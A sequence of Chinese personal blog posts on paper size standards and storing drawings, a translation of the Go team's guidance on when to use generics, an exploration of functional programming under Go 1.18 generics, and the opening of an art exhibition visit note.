我开始在网上寻找合适的收纳册，发现只有办公用的 A2 A3 A4 系列最好找，连老师送我的这种 32 开本都不是那么常见，更不用说上面这种国内不流行的尺寸了。

纸张尺寸标准

从 📖 纸张尺寸入手，简单了解了一下现行的一些纸张尺寸的标准和习惯：

$\sqrt{2}:1$ 是巧妙的宽高比

📖 ISO 216 规定了纸张的宽高比为 $\sqrt{2}:1$，这种比例的纸对折后得到面积变为原来的一半，但宽高比不变。设纸张的宽为 $x$，高为 $y$，列出 $x/y = y/(x/2)$ 可以很容易得到 $x:y = \sqrt{2}:1$。

ISO 216 的各系列纸张的不同规格，都由符合该比例的最大规格对裁得来。例如我们常说的 A4 纸就是 ISO 612 中 A 系列的一种规格。最大的 A0 的对裁得到 A1，再对裁是 A2，A3、A4 以此类推。

ISO 612 A 系列纸张

对裁的好处在于变换尺寸方便，厂商只需要生产最大规格的纸张，不会产生边角料。比例不变的好处在于扩印和缩印都不会影响排版。

ISO 612 A、B、C 系列

A:: A0 的面积为 1 平米。
B:: B0 的宽边长度为 1 米，因此面积为 $\sqrt{2}$ 平米，相同规格的 B 系列比 A 系列大。
C:: C 系列的尺寸是 A 和 B 尺寸的几何平均，即同规格纸的面积 $B > C > A$

C 系列主要用于信封、文件夹，例如邮政 EMS 的 A4 信封的大小为 324×229 mm [1]，就是标准的 C4 大小。同理，A2 纸可被放进 C2 的信封。

京东上出售的邮政信封袋

国标 D 系列、正度纸、大度纸

国标 GB/T 148-1997 增设了 D 系列的标准，称为「标准印张」。其不严格遵守 $\sqrt{2}$ 的宽高比，仅仅是近似。D 系列规格短边的长度比更小一号规格的长边大 4mm ，而不是通过对裁得到。

同规格的 D 系列纸比 A 系列稍小，因此国内又称 D 为正度纸，A 为大度纸 [2] 。

K 是一个模糊概念

K，开，即 📖 开本。这个概念看起来只在部分东亚国家使用 [3] ，你甚至可以看到有向外国人科普淘宝上 N 开纸多大的教程。

对于不同的标准印刷纸张，一张（全张）称之为全开（1K），半张称对开（2K），四分之一张称四开（4K），八开（8K）以此类推。 N 开纸的具体大小取决于全张大小。

通常情况下的 K 的大小是相对于 D 系列纸，也就是正度纸而言的 ，例如国产的温州雪山素描纸，4K 的大小为 530×380 mm，接近于 D2 净尺寸 528×380 mm：

雪山 180g 4K 20张袋装素描纸

法国康颂在国内卖的 1557 水彩纸，4K 的大小为 540×390 mm，是 D2 的毛尺寸：

麦克美迪代理的康颂 1557 素描纸

但其实康颂官网上的 1557 并没有列出在国内卖的规格：

康颂官网上的 1557 规格表

也有相对于 A 系列的，也就是大度纸而言的说法， 比如大四开就是指 A2 [4] 。

纸张尺寸查询

Papersizes 是个非常方便的查询各种纸张尺寸的网站，值得单独一列。

收纳非标准尺寸纸张

我要收纳的其实就是各种大小的纸本画，蔓纯老师又给我支了一招。如前述，常见的收纳册都是 A 系列的标准尺寸，不太可能找到大小和画一样的收纳册。这些册子内页往往是薄膜材质，把小一圈的画放进去会溜来溜去，甚至有掉出来的可能。

举个例子，我买了这种 A4 收纳册（内页 297×210 mm）：

想要放入 260×180 mm 的 ^{Render Report}

我们可以用用 A4 印刷纸作为内衬 ，把画放在印刷纸中间，用笔标出沿着四个角的位置（不要画到画上）：

之后把画拿开，用小刀沿着标记在刚才被画覆盖到的部分划出一条缝，再把画插入刚刚划出的缝里。如果一个内页要放两张画，每张像这样只用两个角固定就好了：

参考

何时使用 Go 泛型

2022-06-03T00:00:00+00:00

备注

这篇文章是 When To Use Generics 的中文翻译，作者是 Go Team 的 👤 ianlancetaylor。

介绍

Go 1.18 新增了一个重大的语言特性：泛型。本文不会描述泛型是什么以及如何使用它们。本文的重点是：什么时候应该在代码中使用泛型，什么时候不使用它们。

译者注

关于泛型的简要介绍，可以看看函数式编程在 Go 泛型下的实用性探索

需要明确的是，这里提供的是通用的准则而非硬性的规定。请结合你自己的判断。但如果你拿不准，建议还是采用本文提供的准则。

编码

让我们从 Go 编程的一般准则开始：通过编写代码编写 Go 程序，而不是通过定义类型编写 Go 程序。

译者注

这里的意思可能类似软件工程中的「避免过度设计」。对于一般的编程来讲，我们应优先选择通过编写代码来实现逻辑，而非设计符合该逻辑的类型。

涉及到泛型，如果你通过定义类型参数约束（type parameter constraints）来作为编程的第一步，那么你可能走在了错误的道路上。请从编写函数开始。当你写完之后，你就会清楚泛型对这个函数是否有用，此时再添加类型参数（type parameters）也是非常简单的。

何时使用 type parameter

让我们看看在哪些情况下，类型参数是有用的。

当使用内置容器类型时

一种情况是，当你编写对语言定义的器器类型进行操作的函数：slice、map 和 channel。如果函数参数中存在对应的类型，并且函数代码没有对元素的类型做出任何特定假设，那么使用 type parameter 可能很有用。

例如，这是一个返回任意类型 map 中所有 key 的函数:

// MapKeys returns a slice of all the keys in m.
// The keys are not returned in any particular order.
func MapKeys[Key comparable, Val any](m map[Key]Val) []Key {
    s := make([]Key, 0, len(m))
    for k := range m {
        s = append(s, k)
    }
    return s
}

这段代码对 map 的 key 的类型没有任何的假设，它也根本不使用 map 的 value。所以它适用于任何 map 类型，这使它成为使用 type parameter 的好选择。

在这里，类型参数的替代实现通常是使用反射，但这是一个更别扭的编程模型：没有静态类型检查，并且在运行时通常更慢。

当编写通用数据结构时

类型参数可能有用的另一种情况是用于编写通用数据结构。通用数据结构类似于 slice 或 map，但不是语言内置的，例如链表或二叉树。

在之前，这样的数据结构通常会有两种实现方式：

硬编码，只支持特定的元素类型；
使用 interface{}

用 type parameter 替换特定元素类型可以生成更通用的数据结构，可以在程序的其他部分或其他程序中使用。用类型参数替换 interface{} 则可以让数据更高效地存储数据，节省内存资源；它还可以允许代码避免类型断言（type assertion），并在编译时进行全面的类型检查。

下面节选了用 type parameter 实现的二叉树作为例子:

// Tree is a binary tree.
type Tree[T any] struct {
    cmp  func(T, T) int
    root *node[T]
}

// A node in a Tree.
type node[T any] struct {
    left, right  *node[T]
    val          T
}

// find returns a pointer to the node containing val,
// or, if val is not present, a pointer to where it
// would be placed if added.
func (bt *Tree[T]) find(val T) **node[T] {
    pl := &bt.root
    for *pl != nil {
        switch cmp := bt.cmp(val, (*pl).val); {
        case cmp < 0:
            pl = &(*pl).left
        case cmp > 0:
            pl = &(*pl).right
        default:
            return pl
        }
    }
    return pl
}

// Insert inserts val into bt if not already there,
// and reports whether it was inserted.
func (bt *Tree[T]) Insert(val T) bool {
    pl := bt.find(val)
    if *pl != nil {
        return false
    }
    *pl = &node[T]{val: val}
    return true
}

树中的每个节点都包含类型参数 T 的值。当使用特定类型参数实例化 Tree 类型时，该类型的值将直接存储在节点中，它们不会被存储为 interface{}。

这是对 type parameter 的一种合理使用，因为 Tree 本身包括其方法的逻辑，在很大程度上是和元素类型 T 无关的。

Tree 确实需要知道如何比较元素类型 T 的值，为此它使用了一个比较函数 func(T, T) int。您可以在 find 方法的第 4 行调用 bt.cmp 中看到这一点。除此之外，类型参数根本不重要。

优先函数（function）而非方法（method）

译者注

function 和 method 的区别在于 method 会关联一个对象（receiver）。

func Name(){} 是 function ，而 func (f Foo) Name(){} 是 mehtod。

上面 Tree 的例子说明了另一个准则：当你需要比较之类的操作时，优先使用函数而非方法。

我们可以定义这样的 Tree 类型，要求元素必须实现 Compare 或 Less 方法。这将通过编写带方法的的类型约束（type constraint that requires the method）完成，这意味着用于实例化 Tree 类型的任何类型都需要实现该方法。

这样做的结果是，想要使用简单数据类型（如 int）的人都必须定义自己的整数类型并编写对应的方法。如果我们定义还是和上面一样，让 Tree 接受一个比较函数，那一切还是那么简单。编写比较函数就像编写方法一样容易。

如果 Tree 的元素类型恰好已经有一个 Compare 方法，那么我们可以简单地使用 ElementType.Compare 之类的表达式来实现比较函数。

换句话说，将「方法转换为函数」比将「方法添加到类型」要简单得多。因此，对于通用数据类型，优先使用函数，而非带方法的类型约束。

当实现通用的 method 时

类型参数有用的另一种情况是：当不同类型需要实现一些共同的方法，并且它们的实现都看起来都一样时。

例如，考虑标准库的 sort.Interface。它要求一个类型实现三种方法：Len、Swap 和 Less。

下面是一个泛型类型 SliceFn 的示例，它为任意的 slice 类型实现了 sort.Interface:

// SliceFn implements sort.Interface for a slice of T.
type SliceFn[T any] struct {
    s    []T
    less func(T, T) bool
}

func (s SliceFn[T]) Len() int {
    return len(s.s)
}
func (s SliceFn[T]) Swap(i, j int) {
    s.s[i], s.s[j] = s.s[j], s.s[i]
}
func (s SliceFn[T] Less(i, j int) bool {
    return s.less(s.s[i], s.s[j])
}

对于任何 slice 类型，Len 和 Swap 方法都是完全相同的。 Less 方法需要一个比较函数，也就是 SliceFn 的 Fn 部分（Function 的缩写）。与前面的 Tree 示例一样，我们将在创建 SliceFn 时传入一个函数。

下面展示了 SliceFn 如何使用比较函数对 slice 进行排序:

// SortFn sorts s in place using a comparison function.
func SortFn[T any](s []T, less func(T, T) bool) {
    sort.Sort(SliceFn[T]{s, cmp})
}

这类似于标准库里的 sort.Slice，但比较函数的参数是值本身而不是值在 slice 中的索引。

对这种代码使用 type parameter 是合适的，因为所有 slice 类型的方法看起来完全相同。

这里应该提一下，Go 1.19（而不是 1.18）的标准库很可能引入一个通用函数来使用比较函数对 slice 进行排序，并且该函数很可能不使用 sort.Interface。参见提案 #47619。即使这个上面这个例子很可能不实用，但大体上的观点依然是正确的：当你需要对所有相关类型实现看起来都相同的方法时，使用类型参数是合理的。

备注

这里插播一则新闻，Go 1.19 将会使用 pdqsort 作为默认的排序算法（包括 sort.Interface 和 sort.Slice），在所有的场景下相比原来的实现都快 2 到 60 倍（包括了算法本身和使用泛型带来的收益）这部分工作由我们组的同事 👤 zhangyunhao116 在 #50154 提出并实现。

何时不使用 type parameter

现在让我们来讨论一下问题的另一面：什么时候不应该使用类型参数。

不要使用 type parameter 替代 interface

众所周知，Go 支持接口（interface）类型。interface 在一定程度上允许你在实现泛型编程。

例如，广泛使用的 io.Reader 接口提供了一种通用机制，用于从包含信息（例如文件）的对象或产生信息（例如随机数生成器）的对象中读取数据。如果你对某个类型的的所有操作就是对其值调用方法，请使用 interface，而不是 type parameter。直接使用 io.Reader 的代码更加易于阅读、高效且有效。这里没有必要使用 type parameter 通过调用 Read 方法从值中读取数据。

举个例子，这里将使用 interface 的第一个函数签名更改为使用 type parameter 的第二个版本，看起来也许很诱人:

func ReadSome(r io.Reader) ([]byte, error)

func ReadSome[T io.Reader](r T) ([]byte, error)

但请不要这么做，第一个省略类型参数的版本其实更易于编写、阅读，并且 它们的执行时间可能相同。

上面的最后一点值得强调：尽管泛型可以通过个好几种不同的方式实现，并且实现会随着时间的推移而改变和演进，但 Go 1.18 的实现在许多情况下会同等对待类型参数的值与接口类型的值。这意味着使用 type parameter 通常不会比使用 interface 快。所以不要仅仅为了速度而从 interface 更改为 type parameter，因为它可能不会运行得更快。

译者注

就是说在这种情况下，可以认为 type parameter 只是 interface 的语法糖。

不要对不同的 method 实现使用 type parameter

在决定是使用 type parameter 还是 interface 时，请考虑方法的实现是什么样的。前面我们说过，如果方法的实现对所有类型都相同，则使用 type parameter。反之，如果每种类型的实现都不一样，那就用 interface 写不同的方法实现。

例如，从文件中读取的实现和从随机数生成器读取的实现完全不同，这意味着我们应该编写两个不同的 Read 方法，并使用像 io.Reader 这样的接口类型。

在适当的地方使用反射

Go 支持运行时反射。反射也能一定程度地实现泛型编程，因为它允许你编写适用于任何类型的代码。

如果某些操作支持的类型连方法都没有（因此没有办法定义 interface），并且针对每种类型的操作都不同（因此不适合使用 type parameter）的时候，请使用反射。

一个例子是 encoding/json 包。我们不想要求我们编码的每个类型都有一个 MarshalJSON 方法，所以我们不能使用接口类型。但是编码一个 interface 与编码一个 struct 的实现完全不同，所以我们不应该使用 type parameter。因此 encoding/json 使用了反射。使用反射实现的代码并不简单，但它确实能用。如果你想了解更多详情，请参阅其源代码。

一言以蔽之

最后，关于何时使用泛型的讨论可以简化为一个简单的指导方针。

如果你发现自己多次编写完全相同的代码，而副本之间的唯一区别是代码使用了不同的类型，请考虑是否需要使用 type parameter。

换句话说，你应该避免使用 type parameter，直到你注意到你需要多次编写完全相同的代码。

函数式编程在 Go 泛型下的实用性探索

2021-10-27T00:00:00+00:00

背景

函数式编程（Functional Programming / FP）作为一种编程范式，具有无状态、无副作用、并发友好、抽象程度高等优点。目前流行的编程语言（C++、Python、Rust）都或多或少地引入了函数式特性，但在同作为流行语言的 Golang 中却少有讨论。

究其原因，大部分的抱怨 [2] [3] 集中于 Go 缺乏对范型的支持，难以写出类型间通用的函数。代码生成只能解决一部分已知类型的处理，且无法应对类型组合导致复杂度（比如实现一个通用的 TypeA → TypeB 的 map 函数）。

有关泛型的提案 spec: add generic programming using type parameters #43651 已经被 Go 团队接受，并计划在 2022 年初发布支持范型的 Go 1.18，现在 golang/go 仓库的 master 分支已经支持范型。

This design has been proposed and accepted as a future language change. We currently expect that this change will be available in the Go 1.18 release in early 2022. [1]

基于这个重大特性，我们有理由重新看看，函数式特性在 Go 范型的加持下，能否变得比以往更加实用。

概述

这篇文章里，我们会尝试用 Go 的泛型循序渐进地实现一些常见的函数式特性，从而探索 Go 泛型的优势和不足。

除非额外说明（例如注释中的 // INVALID CODE!!!），文章里的代码都是可以运行的（为了缩减篇幅，部分删去了 package main 声明和 main 函数，请自行添加）。你可以自行从源码编译一个 master 版本的 go 来提前体验 Go 的泛型，或者用 The go2go Playground 提供的在线编译器运行单个文件。

泛型语法

提案的 #Very high level overview 一节中描述了为范型而添加的新语法，这里简单描述一下阅读本文所需要的语法：

函数名后可以附带一个方括号，包含了该函数涉及的类型参数（Type Paramters）的列表：func F[T any](p T) { ... }
这些类型参数可以在函数参数和函数体中（作为类型）被使用
自定义类型也可以有类型参数列表：type M[T any] []T
每个类型参数对应一个类型约束，上述的 any 就是预定义的匹配任意类型的约束
类型约束在语法上以 interface 的形式存在，在 interface 中嵌入类型 T 可以表示这个类型必须是 T:
```
type Integer1 interface {
    int
}
```

嵌入单个类型意义不大，我们可以用 | 来描述类型的 union:

type Integer2 interface {
    int | int8 | int16 | int32 | int64
}

~T 语法可以表示该类型的「基础类型」是 T，比如说我们的自定义类型 type MyInt int 不满足上述的 Integer1 约束，但满足以下的约束:
```
type Integer3 interface {
    ~int
}
```

提示

「基础类型」在提案中为 "underlying type"，目前尚无权威翻译，在本文中使用仅为方便描述。

高阶函数

在函数式编程语言中，📖 高阶函数（Higher-order function）是一个重要的特性。高阶函数是至少满足下列一个条件的函数：

接受一个或多个函数作为输入
输出一个函数

Golang 支持闭包，所以实现高阶函数毫无问题:

func foo(bar func() string) func() string {
        return func() string {
                return "foo" + " " + bar()
        }
}

func main() {
        bar := func() string {
                return "bar"
        }
        foobar := foo(bar)
        fmt.Println(foobar())
}
// Output:
// foo bar

filter 操作是高阶函数的经典应用，它接受一个函数 f（func (T) bool）和一个线性表 l（[] T），对 l 中的每个元素应用函数 f，如结果为 true，则将该元素加入新的线性表里，否则丢弃该元素，最后返回新的线性表。

根据上面的泛型语法，我们可以很容易地写出一个简单的 filter 函数:

func Filter[T any](f func(T) bool, src []T) []T {
        var dst []T
        for _, v := range src {
                if f(v) {
                        dst = append(dst, v)
                }
        }
        return dst
}

func main() {
        src := []int{-2, -1, -0, 1, 2}
        dst := Filter(func(v int) bool { return v >= 0 }, src)
        fmt.Println(dst)
}
// Output:
// [0 1 2]

代码生成之困

在 1.17 或者更早前的 Go 版本中，要实现通用的 Filter 函数有两种方式：

使用 interface{} 配合反射，牺牲一定程度的类型安全和运行效率
为不同数据类型实现不同的 Filter 变种，例如 FilterInt、FilterString 等，缺点在于冗余度高，维护难度大

方式 2 的缺点可以通过代码生成规避，具体来说就使用相同的一份模版，以数据类型为变量生成不同的实现。我们在 Golang 内部可以看到不少代码生成的例子。

那么，有了代码生成，我们是不是就不需要泛型了呢？

答案是否定的：

代码生成只能针对已知的类型生成代码，明明这份模版对 float64 也有效，但作者只生成了处理 int 的版本，我们作为用户无能为力（用 interface{} 同理，我们能使用什么类型，取决于作者列出了多少个 type switch 的 cases）

而在泛型里，新的类型约束语法可以统一地处理「基础类型」相同的所有类型:

type signed interface {
        ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~float32 | ~float64 | ~complex64 | ~complex128
}

func Neg[T signed](n T) T {
        return -n
}

func main() {
        type MyInt int

        fmt.Println(Neg(1))
        fmt.Println(Neg(1.1))
        fmt.Println(Neg(MyInt(1)))
}
// Output:
// -1
// -1.1
// -1

代码生成难以应对需要类型组合的场景，我们来看另一个高阶函数 map：接受一个函数 f（func (T1) T2）和一个线性表 l1（[]T1），对 l1 中的每个元素应用函数 f，返回的结果组成新的线性表 l2（[]T2）

如果使用代码生成的话，为了避免命名冲突，我们不得不写出 MapIntInt、MapIntUint、MapIntString 这样的奇怪名字，而且由于类型的组合，代码生成的量将大大膨胀。

我们可以发现在现有的支持 FP 特性的 Go library 里：
- 有的（ hasgo ）选择将 map 实现成了闭合运算（[]T → []T），牺牲了表达能力
- 有的（ functional-go ）强行用代码生成导致接口数目爆炸
- 有的（ fpGo ）选择牺牲类型安全用 interface{} 实现
如果使用泛型的话，只需要定义这样的签名就好了:
```
func Map[T1, T2 any](f func(T1) T2, src []T1) []T2
```

无糖的泛型

Go 的语法在一众的编程语言里绝对算不上简洁优雅。在官网上看到操作 channel 时 <- 的直观便捷让你心下暗喜，而一旦你开始写 real world 的代码，这个语言就处处难掩设计上的简陋。泛型即将到来，而这个语言的其他部分似乎没有做好准备：

闭包语法

在 Haskell 中的匿名函数形式非常简洁：

filter (\x -> x >= 0) [-2, -1, 0, 1, 2]
-- Output:
-- [0,1,2]

而在 Golang 里，函数的类型签名不可省略，无论高阶函数要求何种签名，调用者在构造闭包的时候总是要完完整整地将其照抄一遍 [2]

func foo(bar func(a int, b float64, c string) string) func() string {
        return func() string {
                return bar(1, 1.0, "")
        }
}

func main() {
        foobar := foo(func(_ int, _ float64, c string) string {
                return c
        })
        foobar()
}

这个问题可以归结于 Go 团队为了保持所谓的「大道至简」，而对类型推导这样提升效率降低冗余的特性的忽视（泛型的姗姗来迟又何尝不是如此呢？）。 proposal: Go 2: Lightweight anonymous function syntax #21498 提出了一个简化闭包调用语法的提案，但即使该提案被 accept，我们最快也只能在 Go 2 里见到它了。

方法类型参数

链式调用（Method chaining）是一种调用函数的语法，每个调用都会返回一个对象，紧接着又可以调用该对象关联的方法，该方法同样也返回一个对象。链式调用能显著地消除调用的嵌套，可读性好。我们熟悉的 GORM 的 API 里就大量使用了链式调用:

db.Where("name = ?", "jinzhu").Where("age = ?", 18).First(&user)

在函数式编程中，每个高阶函数往往只实现了简单的功能，通过它们的组合实现复杂的数据操纵。

在无法使用链式调用的情况下，高阶函数的互相组合是这样子的（这仅仅是两层的嵌套）:

Map(func(v int) int { return v + 1 },
   Filter(func(v int) bool { return v >= 0 },
      []int{-2, -1, -0, 1, 2}))

如果用链式调用呢？我们继续沿用前面的 filter ，改成以下形式:

type List[T any] []T

func (l List[T]) Filter(f func(T) bool) List[T] {
        var dst []T
        for _, v := range l {
                if f(v) {
                        dst = append(dst, v)
                }
        }
        return List[T](dst)
}

func main() {
        l := List[int]([]int{-2, -1, -0, 1, 2}).
                Filter(func(v int) bool { return v >= 0 }).
                Filter(func(v int) bool { return v < 2 })
        fmt.Println(l)
}
// Output:
// [0 1]

看起来很美好，但为什么不用 map 操作举例呢？我们很容易写出这样的方法签名:

// INVALID CODE!!!
func (l List[T1]) Map[T2 any](f func(T1) T2) List[T2]

很遗憾这样的代码是没法通过编译的，我们会获得以下错误：

invalid AST: method must have no type parameter

提案的 #No parameterized methods 一节明确表示了方法（method，也就是有 recevier 的函数）不支持单独指定类型参数：

This design does not permit methods to declare type parameters that are specific to the method. The receiver may have type parameters, but the method may not add any type parameters. [1]

这个决定实际上是个不得已的妥协。假设我们实现了上述的方法，就意味对于一个已经实例化了的 List[T] 对象（比如说 List[int]），它的 Map 方法可能有多个版本：Map(func (int) int) List[int] 或者 Map(func (int) string) List[string]，当用户的代码调用它们时，它们的代码必然在之前的某个时刻生成了，那么应该在什么时候呢？

在编译期，更准确地说，在编译的 link 阶段，这需要 linker 去遍历整个 call graph，确定程序中到底使用了几个版本的 Map。问题在于反射（reflection）的存在：用户可以用 reflect.MethodByName 动态地调用对象的方法，所以即使遍历了整个 call graph，我们也无法确保用户的代码到底调用了几个版本的 Map
在运行期，在第一次调用方法时 yield 到 runtime 中，生成对应版本的函数后 resume 回去，这要求 runtime 支持 JIT（Just-in-time compilation），而目前 Go 并不支持，即使未来 JIT 的支持提上日程，这也不是一蹴而就的事情

综上，Go 团队选择了不支持给 method 指定类型参数，完美了解决这个问题 🎉。

惰性求值

📖 惰性求值（Lazy Evaluation）是另一个重要的函数式特性，一个不严谨的描述是：在定义运算时候，计算不会发生，直到我们需要这个值的时候才进行。其优点在于能使计算在空间复杂度上得到极大的优化。

下面的代码展示了一个平平无奇的 Add 函数和它的 Lazy 版本，后者在给出加数的时候不会立刻计算，而是返回一个闭包:

func Add(a, b int) int {
        return a + b
}

func LazyAdd(a, b int) func() int {
        return func () int {
                return a + b
        }
}

上面这个例子没有体现出惰性求值节省空间的优点。基于我们之前实现的高阶函数，做以下的运算:

l := []int{-2, -1, -0, 1, 2}
l = Filter(func(v int) bool { return v > -2 }, l)
l = Filter(func(v int) bool { return v < 2 }, l)
l = Filter(func(v int) bool { return v != 0 }, l)
fmt.Println(l)

计算过程中会产生 3 个新的长度为 5 的 []int，空间复杂度为 $O(3 * N)$，尽管常数在复杂度分析时经常被省略，但在程序实际运行的时候，这里的 3 就意味着 3 倍的内存占用。

假设这些高阶函数的求值是惰性的，则计算只会在对 fmt.Println 对参数求值的时候发生，元素从原始的 l 中被取出，判断 if v > -2、if v < 2，最后执行 v + 1，放入新的 []int 中，空间复杂度依然是 $O(N)$，但毫无疑问地我们只使用了一个 []int`。

泛型的引入对惰性求值的好处有限，大致和前文所述一致，但至少我们可以定义类型通用的接口了:

// 一个适用于线性结构的迭代器接口
type Iter[T any] interface{ Next() (T, bool) }

// 用于将任意 slice 包装成 Iter[T]
type SliceIter[T any] struct {
        i int
        s []T
}

func IterOfSlice[T any](s []T) Iter[T] {
        return &SliceIter[T]{s: s}
}

func (i *SliceIter[T]) Next() (v T, ok bool) {
        if ok = i.i < len(i.s); ok {
                v = i.s[i.i]
                i.i++
        }
        return
}

接着实现惰性版本的 filter:

type filterIter[T any] struct {
        f   func(T) bool
        src Iter[T]
}

func (i *filterIter[T]) Next() (v T, ok bool) {
        for {
                v, ok = i.src.Next()
                if !ok || i.f(v) {
                        return
                }
        }
}

func Filter[T any](f func(T) bool, src Iter[T]) Iter[T] {
        return &filterIter[T]{f: f, src: src}
}

可以看到这个版本的 filter 仅仅返回了一个 Iter[T]`（`*filterIter[T]），实际的运算在 *filterIter[T].Next() 中进行。

我们还需要一个将 Iter[T] 转回 []T 的函数:

func List[T any](src Iter[T]) (dst []T) {
        for {
                v, ok := src.Next()
                if !ok {
                        return
                }
                dst = append(dst, v)
        }
}

最后实现一个和上面等价的运算，但实际的计算工作是在 List(i) 的调用中发生的:

i := IterOfSlice([]int{-2, -1, -0, 1, 2})
i = Filter(func(v int) bool { return v > -2 }, i)
i = Filter(func(v int) bool { return v < 2 }, i)
i = Filter(func(v int) bool { return v != 0 }, i)
fmt.Println(List(i))

Map 的迭代器

Golang 中的 Hashmap map[K]V 和 Slice []T 一样是常用的数据结构，如果我们能将 map 转化为上述的 Iter[T]，那么 map 就能直接使用已经实现的各种高阶函数。

map[K]V 的迭代只能通过 for ... range 进行，我们无法通过常规的手段获得一个 iterator。反射当然可以做到，但 reflect.MapIter 太重了。⛺ modern-go/reflect2 提供了一个更快的实现，但已经超出了本文的讨论范围，此处不展开，有兴趣的朋友可以自行研究。

局部应用

局部应用（Partial Application）是一种固定多参函数的部分参数，并返回一个可以接受剩余部分参数的函数的操作。

备注

局部应用不同于 📖 柯里化（Currying） [4] ，柯里化是一种用多个单参函数来表示多参函数的技术，在 Go 已经支持多参函数的情况下，本文暂时不讨论 Currying 的实现。

我们定义一个有返回值的接收单个参数的函数类型:

type FuncWith1Args[A, R any] func(A) R

对一个只接受一个参数的函数进行一次 partial application，其实就相当于求值:

func (f FuncWith1Args[A, R]) Partial(a A) R {
        return f(a)
}

接受两个参数的函数被 partial application 后，一个参数被固定，自然返回一个上述的 FuncWith1Args:

type FuncWith2Args[A1, A2, R any] func(A1, A2) R

func (f FuncWith2Args[A1, A2, R]) Partial(a1 A1) FuncWith1Args[A2, R] {
        return func(a2 A2) R {
                return f(a1, a2)
        }
}

我们来试用一下，将我们之前实现的 filter 包装成一个 FuncWith2Args，从左到右固定两个参数，最后得到结果:

f2 := FuncWith2Args[func(int) bool, Iter[int], Iter[int]](Filter[int])
f1 := f2.Partial(func(v int) bool { return v > -2 })
r := f1.Partial(IterOfSlice([]int{-2, -1, -0, 1, 2}))
fmt.Println(List(r))
// Output:
// [-1 0 1 2]

类型参数推导

我们勉强实现了 partial application，可是把 Filter 转换为 FuncWith2Args 的过程太过繁琐，在上面的例子中，我们把类型参数完整地指定了一遍，是不是重新感受到了闭包语法带给你的无奈？

这一次我们并非无能为力，提案中的 #Type inference 一节描述了对类型参数推导的支持情况。上例的转换毫无歧义，那我们把类型参数去掉:

// INVALID CODE!!!
f2 := FuncWith2Args(Filter[int])

编译器如是抱怨：

cannot use generic type FuncWith2Args without instantiation

提案里的类型参数推导仅针对函数调用，FuncWith2Args(XXX) 虽然看起来像是函数调用语法，但其实是一个类型的实例化，针对类型实例化的参数类型推导（ #Type inference for composite literals ）还是一个待定的 feature。

如果我们写一个函数来实例化这个对象呢？很遗憾，做不到：我们用什么表示入参呢？只能写出这样「听君一席话，如听一席话」的函数:

func Cast[A1, A2, R any](f FuncWith2Args[A1, A2, R]) FuncWith2Args[A1, A2, R] {
        return f
}

但是它能工作！当我们直接传入 Filter 的时候，编译器会帮我们隐式地转换成一个 FuncWith2Args[func(int) bool, Iter[int], Iter[int]]！同时因为函数类型参数推导的存在，我们不需要指定任何的类型参数了:

f2 := Cast(Filter[int])
f1 := f2.Partial(func(v int) bool { return v > -2 })
r := f1.Partial(IterOfSlice([]int{-2, -1, -0, 1, 2}))
fmt.Println(List(r))
// Output:
// [-1 0 1 2]

可变类型参数

FuncWith1Args 、FuncWith2Args 这些名字让我们有些恍惚，仿佛回到了代码生成的时代。为了处理更多的参数，我们还得写 FuncWith3Args、FuncWith4Args… 吗？

是的， #Omissions 一节提到：Go 的泛型不支持可变数目的类型参数：

No variadic type parameters. There is no support for variadic type parameters, which would permit writing a single generic function that takes different numbers of both type parameters and regular parameters.

对应到函数签名，我们也没有语法来声明拥有不同类型的可变参数。

类型系统

众多函数式特性的实现依赖于一个强大类型系统，Go 的类型系统显然不足以胜任，作者不是专业人士，这里我们不讨论其他语言里让人羡慕的类型类（Type Class）、代数数据类型（Algebraic Data Type），只讨论在 Go 语言中引入泛型之后，我们的类型系统有哪些水土不服的地方。

提示

其实上文的大部分问题都和类型系统息息相关，case by case 的话我们可以列出非常多的问题，因此以下只展示明显不合理那部分。

编译期类型判断

当我们在写一段泛型代码里的时候，有时候会需要根据 T 实际上的类型决定接下来的流程，可 Go 的完全没有提供在编译期操作类型的能力。运行期的 workaround 当然有，怎么做呢：将 T 转化为 interface{}，然后做一次 type assertion:

func Foo[T any](n T) {
        if _, ok := (interface{})(n).(int); ok {
                // do sth...
        }
}

无法辨认「基础类型」

我们在代码生成之困提到过，在类型约束中可以用 ~T 的语法约束所有基础类型为 T 的类型，这是 Go 在语法层面上首次暴露出「基础类型」的概念，在之前我们只能通过 reflect.(Value).Kind 获取。而在 type assertion 和 type switch 里并没有对应的语法处理「基础类型」:

type Int interface {
        ~int | ~uint
}

func IsSigned[T Int](n T) {
        switch (interface{})(n).(type) {
        case int:
                fmt.Println("signed")
        default:
                fmt.Println("unsigned")
        }
}

func main() {
        type MyInt int
        IsSigned(1)
        IsSigned(MyInt(1))
}
// Output:
// signed
// unsigned

乍一看很合理，MyInt 确实不是 int。那我们要如何在函数不了解 MyInt 的情况下把它当 int 处理呢？答案是还不能： #Identifying the matched predeclared type 表示这是个未决的问题，需要在后续的版本中讨论新语法。总之，在 1.18 中，我们是见不到它了。

类型约束不可用于 type assertion

一个直观的想法是单独定义一个 Signed 约束，然后判断 T 是否满足 Signed:

type Signed interface {
        ~int
}

func IsSigned[T Int](n T) {
        if _, ok := (interface{})(n).(Signed); ok {
                fmt.Println("signed")
        } else {
                fmt.Println("unsigned")
        }
}

但很可惜，类型约束不能用于 type assertion/switch，编译器报错如下：

interface contains type constraints

尽管让类型约束用于 type assertion 可能会引入额外的问题，但牺牲这个支持让 Go 的类型表达能力大大地打了折扣。

总结

函数式编程的特性不止于此，代数数据类型、引用透明（Referential Transparency）等在本文中都未能覆盖到。总得来说，Go 泛型的引入：

使的部分 函数式特性能以更通用的方式被实现
灵活度比代码生成更高 ，用法更自然，但细节上的小问题很多
1.18 的泛型在引入 type paramters 语法之外并没有其他大刀阔斧的改变，导致泛型和这个语言的其他部分显得有些格格不入，也使得泛型的能力受限。 至少在 1.18 里，我们要忍受泛型中存在的种种不一致
受制于 Go 类型系统的表达能力，我们无法表示复杂的类型约束，自然也 无法实现完备的函数式特性

参考

四十年后再看西藏组画

2021-07-03T00:00:00+00:00

四十年后再看西藏组画

日期:

2021-06-30

位置:

^{Render Report}

从油画院公众号上看到 ^{Render Report}

的西藏组画要再展 [1]。刚好我从燕郊回广东要在北京中转几天，有机会看看陈老师最负盛名的这组作品到底是什么样子的。

备注

这也是我在 ^{Render Report}

学习一年之后的首次看展，我很期待这个不一样的我是否能看到不一样的东西。

最佳习作

展览展出 7 张油画和 200 余张速写，很可惜除了进门第一张《意大利女孩》是原作之外，其他的全是高清喷绘，速写倒多是原作。

